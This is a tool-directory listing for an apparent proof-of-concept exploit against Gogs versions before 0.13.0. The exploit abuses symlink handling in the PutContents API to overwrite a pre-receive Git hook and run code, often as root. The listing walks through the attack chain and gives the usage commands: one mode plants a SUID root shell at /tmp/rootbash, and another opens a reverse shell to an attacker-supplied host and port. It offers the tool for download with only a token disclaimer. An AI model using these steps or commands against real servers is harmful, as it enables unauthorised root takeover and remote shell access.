Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-81110-PoC — Improper Symbolic link handling in the PutContents API in Gogs allows Local Execution of Code. | Kitploit
Tools/GitHubGitHub/bridgeralderson/cve-2025-81110-poc
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubbridgeralderson/cve-2025-81110-poc

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-81110-PoC

Improper Symbolic link handling in the PutContents API in Gogs allows Local Execution of Code.

View Repository
415 months agoNot yet reviewed

CVE-2025-81110-PoC

Improper Symbolic link handling in the PutContents API in Gogs allows Local Execution of Code.

This repository contains a professional-grade exploit for a critical vulnerability in Gogs versions prior to 0.13.0. The exploit leverages a logical flaw where the Gogs API fails to validate file types when updating repository contents. By injecting a symbolic link that points to a server-side Git hook (pre-receive), an authenticated user can overwrite the hook's content with a malicious script. Subsequent Git push operations trigger the execution of this script under the context of the user running the Gogs service (typically root).

Symlink Injection: The attacker pushes a symbolic link pointing to internal repository hooks (e.g., /root/gogs-repositories//.git/hooks/pre-receive).

API Overwrite: The Gogs API allows updating the content of the symbolic link. Because the OS follows the link during the write operation, the internal Git hook is overwritten.

RCE / Privilege Escalation: A follow-up Git push triggers the pre-receive hook. If Gogs is configured with RUN_USER = root, the attacker gains full system control.

Requirements

  • Python 3.x
  • requests library
  • git command-line tool installed on the attacker machine

USAGE

SUID Mode

root@kitploit:~
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid

After completion, gain root access on the target:

root@kitploit:~
/tmp/rootbash -p

REVSHELL

root@kitploit:~
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444

Argument Reference

Disclaimer

This tool is for educational purposes and authorized security auditing only. The author is not responsible for any misuse or damage caused by this tool on systems you own or have explicit permission to test.

Download Tool
ArgumentRequiredDescription
--urlYesThe base URL of the Gogs instance (e.g., http://127.0.0.1:3001).
--userYesValid username for authentication.
--passYesValid password for the specified user.
--modeNoExploit mode: suid (creates /tmp/rootbash) or rev (reverse shell).
--lhostNoLocal IP address for the reverse shell callback.
--lportNoLocal Port for the reverse shell listener.